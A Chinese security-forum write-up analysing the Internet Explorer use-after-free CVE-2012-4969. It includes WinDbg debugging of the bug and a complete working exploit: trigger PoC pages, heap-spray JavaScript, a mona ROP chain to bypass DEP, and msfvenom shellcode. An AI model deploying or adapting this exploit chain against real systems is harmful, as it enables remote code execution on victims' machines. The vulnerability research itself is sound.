首页
社区
课程
招聘
[原创]UAF之CVE-2012-4969漏洞分析
2021-4-28 10:51 10597

[原创]UAF之CVE-2012-4969漏洞分析

2021-4-28 10:51
10597

UAF之CVE-2012-4969漏洞分析

目录

一、漏洞信息

1. 漏洞简述

  • 漏洞编号:CVE-2012-4969
  • 漏洞类型:UAF
  • 漏洞影响:远程代码执行
  • CVSS分数:9.3

  • 概述:mshtml.dll的CMshtmlEd :: Exec()函数将CMshtmlEd对象释放后,又再次使用相同的内存,从而导致释放后使用的情况

2. 漏洞影响

Internet Explorer 6 至 9

3. 解决方案

MS12-063

二、漏洞复现

1. 环境搭建

  • 靶机环境版本
    • win7 sp1 x86
  • 靶机配置
    • IE 8

2. 复现过程

使用metastploit模块获取poc1,LLmya.html

1
2
3
4
5
6
7
8
9
10
<html>
<body>
    <script>
        var arrr = new Array();
        arrr[0] = window.document.createElement("img");
        arrr[0]["src"] = "E";
    </script>
    <iframe src="./UGuQTe.html"></iframe>
</body>
</html>

poc2,UGuQTe.html,两个文件保存在同一个目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<HTML>
  <script>
    function funcB() {
      document.execCommand("selectAll");
    };
 
    function funcA() {
      document.write("O");
      parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
    }
 
  </script>
  <body onload='funcB();' onselect='funcA()'>
    <div contenteditable='true'>
      a
    </div>
  </body>
</HTML>

运行程序poc1,触发漏洞

 

三、漏洞分析

1. 基本信息

  • 漏洞文件:mshtml.dll
  • 漏洞函数:mshtml!CMshtmlEd::Exec
  • 漏洞对象:CMshtmlEd

2. 详细分析

漏洞函数分析

设置hpa,ust堆调试属性,使用windbg调试IE浏览器,执行poc1,漏洞触发

 

 

查看edi的值

 

 

查看函数调用堆栈

 

 

IDA中反汇编函数CMshtmlEd::Exec,由于win7中打开了ASLR,所以只能靠地址的后两个字节定位漏洞触发点68b8503e。这里是edi地址引用错误,在函数中往前查看edi的赋值情况,edi只有一次赋值且为this指针(不排除中间函数更改edi的可能,需要动态调试验证)

 

 

在CMshtmlEd::Exec设置断点,单步执行查看edi的变化情况

1
bp mshtml!CMshtmlEd::Exec

edi第一次赋值,查看堆的结构,得知edi指向CMshtmlEd实例的虚表

 

 

 

继续执行到触发异常点,edi还是指向同一个地方,但是!heap -p -a edi已经没有输出了,说明edi指向的堆已经不存在,大概率为释放后重利用漏洞

 

 

下一步查看CMshtmlEd实例的释放过程,先找到与CMshtmlEd类有关的函数

1
x mshtml!CmshtmlEd::*

 

重点关注的函数

1
2
CMshtmlEd::Release
CMshtmlEd::~CMshtmlEd

不过析构函数一般是与free一起调用的,查看CMshtmlEd::~CMshtmlEd,发现由CMshtmlEd::Release调用,查看release,有一处跳转执行free,所以就在CMshtmlEd::Release下断点

 

1
2
3
0:005> bp mshtml!CMshtmlEd::Exec    //漏洞函数
0:005> g
0:005> bp mshtml!CMshtmlEd::Release

运行到漏洞函数CMshtmlEd::Exec时设置CMshtmlEd::Release断点,第一次执行到Release函数没有跳转执行free,第二次执行时调用了free函数

 

 

 

查看HeapFree函数的参数,第三个为this指针08178f78

 

 

继续执行之后就触发了异常,同时edi也是08178f78,与被free掉的this指针相同,说明this指针在被释放后了又进行引用导致UAF漏洞

 

 

那么,CMshtmlEd::Release的调用在漏洞函数CMshtmlEd::Exec哪里执行呢,查看CMshtmlEd::Exec,在漏洞触发点mov edi, dword ptr [edi+8]之前存在一个函数CCommand::Exec,需要使用edi指针,为什么执行之后就忽然edi指向的实例不存在了?

 

 

执行CCommamd::Exec之前查看edi

 

 

执行之后,edi指向的this指针已经被free掉了,之后执行mov edi, dword ptr [edi+8],导致异常。

 

 

验证:执行到CMshtmlEd::Exec时下断点mshtml!CMshtmlEd::Release和mshtml!CCommand::Exec,程序先后在CCommand::Exec和CMshtmlEd::Release断下,并执行了Heapfree函数,说明CCommand::Exec中释放了this指针

POC分析

windbg结合JavaScript调试,确定poc何处引发漏洞

 

查看CMshtmlEd实例的构造和释放过程,在IDA中查看CMshtmlEd::CMshtmlEd的引用函数AddCommandTarget和GetCommandTarget,都在分配了堆之后调用了CMshtmlEd的构造函数,所以关注构造函数就能直到堆的引用过程

 

AddCommandTarget函数

 

 

GetCommandTarget函数

 

 

在构造函数和release函数下断点

1
2
bp mshtml!CMshtmlEd::CMshtmlEd
bp mshtml!CMshtmlEd::Release

执行funcB()时命中构造函数,查看函数参数this指针,这里由edx保存,堆为bb9af78

 

 

继续执行第二次命中构造函数,创建堆9e52f78

 

 

之后命中release,没有调用heapfree,然后执行funcA()

 

 

命中release,没有调用heapfree,又一次命中release,可以看到这里释放的堆为9e52f78

 

 

然后引发了一个奇怪的异常,可能是由于JavaScript调试导致

 

 

不过可以确定时funcA()引起的,write常常会触发对象释放,后面对arrr[0].src赋值是一个占位动作

四、漏洞利用

1. 利用环境

  • win7 sp1 x86

  • jdk1.6,其中MSVCR71.dll模块没有开启ASLR

  • kali2.0

2. 利用过程

在CMshtmlEd对象被释放后,继续调用了vtable中的 [vtable + 8]函数,如果能够构造个虚假的地址将vtable占位,即可试下uaf利用。poc中parent.arrr[0]赋值实现了占位,程序,虚表指针edi+8指向了0c0c0c08

 

 

 

接着运行程序,调用了[[edi]+8],我们要向控制0c0c0c08处写入ROP和shellcode

 

 

Heap Spray,利用JavaScript String对象在内存中申请大量的堆块,堆一直占用直到地址0c0c0c0c,同时每一个分配的堆块结构sildecode+shellcode,sildecode为nop等滑板指令,劫持程序执行流到任何一个堆块(本例为0c0c0c0c)中都能够执行shellcode,在win7等开启了DEP和ASLR的系统,要构造ROP调用VirtualProtect以关闭dep,而且ROP位置要精准

 

为了实现shellcode精准到内存中指定位置:堆的大小和内部结构要非常精确,可以使用js的heaplib库,本次分析使用手动构造堆块。堆块进行分配的时候,因为堆块对齐,低4位10000大小的地址不会变化。举个例子,如果一个堆分配的低4位地址002c,那么其他堆的低位同为002c,只要以0x1000为单位进行构造堆块,那每个块结构机制都可轻易确定,如下图,low_offset固定,但high_offset不一定相同,当然每个shellcode块之间不能有空隙,不然会执行到0000的空隙字符

 

 

堆喷射代码,block结构,filler填充0020到0c0c到的内存,nop继续填充满1000字节

 

 

分配200MB的block,4字节bstr头适应js的string对象,最后以2个字节结尾

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<html>
<body>
    <script>
        var arrr = new Array();
        arrr[0] = window.document.createElement("img");
        arrr[0]["src"] = "E";
        function alloc(len, str) {
            while (str.length < len)
                str += str;
            return str.substr(0, (len - 6) / 2);
        }
        var block_size = 0x1000 / 2; //一页大小
        var offset = (0x0c0c - 0x0020 - 4) / 2; // shellcode在块中的偏移
        var filler = unescape("%u0c0c");
        while (filler.length < offset) {
            filler += filler;
        }
        filler = filler.substring(0, offset);
 
        var shellcode = unescape("%u7546%u7a7a%u5379" + "%u6365%u7275%u7469" + "%u9079");// FuzzySecurity的ascii,仅仅作为标识
 
        var nop = unescape("%u9090");
        for (i = 0; i < block_size; i++) {
            nop += unescape("%u9090");
        }
        nop = nop.substring(0, block_size - shellcode.length - filler.length);
 
        var block = filler + shellcode + nop;
        block = alloc(0x100000-0x10, block);
        len_block = block.length;
        heap_chunks = new Array();
        for (i = 0; i < 150; i++) {
            heap_chunks[i] = block.substr(0, block.length);
        }
    </script>
 
    <iframe src="../hpIpD0pjgv/UGuQTe.html"></iframe>
</body>
</html>

堆内存,90000为!peb的得到的进程堆基址,堆占用了99.46,每块大小为ffff0

 

 

筛选大小为ffff0的堆块,可以看到每个堆块低位均为0020

 

 

搜索shellcode "FuzzySecurity",可以看到每个shellcode间隔为1000,正好为我们构造的block,一部分内存已被block铺满,没有空隙

1
s -a 0x00000000 L?7fffffff "FuzzySecurity"

 

构造ROP

 

为了绕过win7的dep和ASLR,需要构造ROP调用VirtualProtect以关闭dep,win7浏览器会加载jdk1.6,其中有两个模块没有开启ASLR的模块,mona插件查询ROP

 

 

自动生成ROP链,有问题需稍加修改,之后更改ROP以令程序执行call dword ptr [eax+8]时能够跳转到ROP,具体为迁移栈到0c0c0c0c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
!py mona rop -m "MSVCR71.dll, jp2ssv.dll"
 
//rop chain generated with mona.py - www.corelan.be
var rop_gadgets = unescape(
    "%u5b4f%u7c36" + // 0x7c365b4f : ,# POP EBX # POP EBP # RET [MSVCR71.dll]
    "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
    "%u8b05%u7c34" + // 0x7c348b05: ,# XCHG EAX,ESP # RETN
    "" + // #[---INFO:gadgets_to_set_ebp:---] :
    "%u6d28%u7c35" + // 0x7c356d28 : ,# POP EBP # RETN [MSVCR71.dll]
    "%u6d28%u7c35" + // 0x7c356d28 : ,# skip 4 bytes [MSVCR71.dll]
    "" + // #[---INFO:gadgets_to_set_ebx:---] :
    // "%u09cf%u7c36" + // 0x7c3609cf : ,# POP EBX # RETN [MSVCR71.dll]
    // "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
    "" + // #[---INFO:gadgets_to_set_edx:---] :
    "%u4f8e%u7c34" + // 0x7c344f8e : ,# POP EDX # RETN [MSVCR71.dll]
    "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
    "" + // #[---INFO:gadgets_to_set_ecx:---] :
    "%u8ab2%u7c35" + // 0x7c358ab2 : ,# POP ECX # RETN [MSVCR71.dll]
    "%uf2a1%u7c38" + // 0x7c38f2a1 : ,# &Writable location [MSVCR71.dll]
    "" + // #[---INFO:gadgets_to_set_edi:---] :
    "%ue239%u7c36" + // 0x7c36e239 : ,# POP EDI # RETN [MSVCR71.dll]
    "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
    "" + // #[---INFO:gadgets_to_set_esi:---] :
    "%uf8f8%u7c34" + // 0x7c34f8f8 : ,# POP ESI # RETN [MSVCR71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
    "%u6747%u7c37" + // 0x7c376747 : ,# POP EAX # RETN [MSVCR71.dll]
    "%ua151%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
    "" + // #[---INFO:pushad:---] :
    "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
    "" + // #[---INFO:extras:---] :
    "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
"");

kali生成shellcode,以js小端序输出

1
2
3
4
5
6
7
kali@kali:~$ msfvenom -p windows/messagebox -f js_le
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 272 bytes
Final size of js_le file: 816 bytes
%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u4d68%u4653%u6821%u6f72%u206d%u6f68%u202c%u6866%u6548%u6c6c%uc931%u4c88%u1024%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855

最终exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<html>
<body>
    <script>
        var arrr = new Array();
        arrr[0] = window.document.createElement("img");
        arrr[0]["src"] = "E";
 
        function alloc(len, str) {
            while (str.length < len)
                str += str;
            return str.substr(0, (len - 6) / 2);
        }
        var block_size = 0x1000 / 2; //一页大小
        var offset = (0x0c0c - 0x0020 - 4) / 2;
        var filler = unescape("%u0c0c");
        while (filler.length < offset) {
            filler += filler;
        }
        filler = filler.substring(0, offset);
 
        // msfvenom -p windows/messagebox -f js_le
        var shellcode = unescape("%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u4d68%u4653%u6821%u6f72%u206d%u6f68%u202c%u6866%u6548%u6c6c%uc931%u4c88%u1024%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855");
 
        //rop chain generated with mona.py - www.corelan.be
        var rop_gadgets = unescape(
            "%u5b4f%u7c36" + // 0x7c365b4f : ,# POP EBX # POP EBP # RET [MSVCR71.dll]
            "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
            "%u8b05%u7c34" + // 0x7c348b05: ,# XCHG EAX,ESP # RETN
            "" + // #[---INFO:gadgets_to_set_ebp:---] :
            "%u6d28%u7c35" + // 0x7c356d28 : ,# POP EBP # RETN [MSVCR71.dll]
            "%u6d28%u7c35" + // 0x7c356d28 : ,# skip 4 bytes [MSVCR71.dll]
            "" + // #[---INFO:gadgets_to_set_ebx:---] :
            // "%u09cf%u7c36" + // 0x7c3609cf : ,# POP EBX # RETN [MSVCR71.dll]
            // "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
            "" + // #[---INFO:gadgets_to_set_edx:---] :
            "%u4f8e%u7c34" + // 0x7c344f8e : ,# POP EDX # RETN [MSVCR71.dll]
            "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
            "" + // #[---INFO:gadgets_to_set_ecx:---] :
            "%u8ab2%u7c35" + // 0x7c358ab2 : ,# POP ECX # RETN [MSVCR71.dll]
            "%uf2a1%u7c38" + // 0x7c38f2a1 : ,# &Writable location [MSVCR71.dll]
            "" + // #[---INFO:gadgets_to_set_edi:---] :
            "%ue239%u7c36" + // 0x7c36e239 : ,# POP EDI # RETN [MSVCR71.dll]
            "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
            "" + // #[---INFO:gadgets_to_set_esi:---] :
            "%uf8f8%u7c34" + // 0x7c34f8f8 : ,# POP ESI # RETN [MSVCR71.dll]
            "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
            "%u6747%u7c37" + // 0x7c376747 : ,# POP EAX # RETN [MSVCR71.dll]
            "%ua151%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
            "" + // #[---INFO:pushad:---] :
            "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
            "" + // #[---INFO:extras:---] :
            "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
            "");
        var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
        rop_gadgets += nop;
 
        for (i = 0; i < block_size; i++)
            nop += unescape("%u9090");
        nop = nop.substring(0, block_size - rop_gadgets.length - shellcode.length - filler.length);
 
        var block = filler + rop_gadgets + shellcode + nop;
        block = alloc(0xfffe0, block);//1MB堆内存
        len_block = block.length;
        heap_chunks = new Array();
        for (i = 0; i < 150; i++)
            heap_chunks[i] = block.substr(0, block.length);
    </script>
    <iframe src="../hpIpD0pjgv/UGuQTe.html"></iframe>
</body>
</html>

五、参考文献

  • https://www.anquanke.com/post/id/85592
  • https://www.52pojie.cn/thread-596064-1-1.html
  • https://blog.csdn.net/qs_hud/article/details/9821735

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞5
打赏
分享
最新回复 (3)
雪    币: 3082
活跃值: (5141)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
0346954 2 2021-4-28 13:49
2
0
感谢分享 学习了
雪    币: 1331
活跃值: (9455)
能力值: ( LV12,RANK:650 )
在线值:
发帖
回帖
粉丝
erfze 12 2021-4-28 17:25
3
0
支持
雪    币: 3525
活跃值: (3632)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caolinkai 2021-5-20 17:08
4
0
UAF  支持
游客
登录 | 注册 方可回帖
返回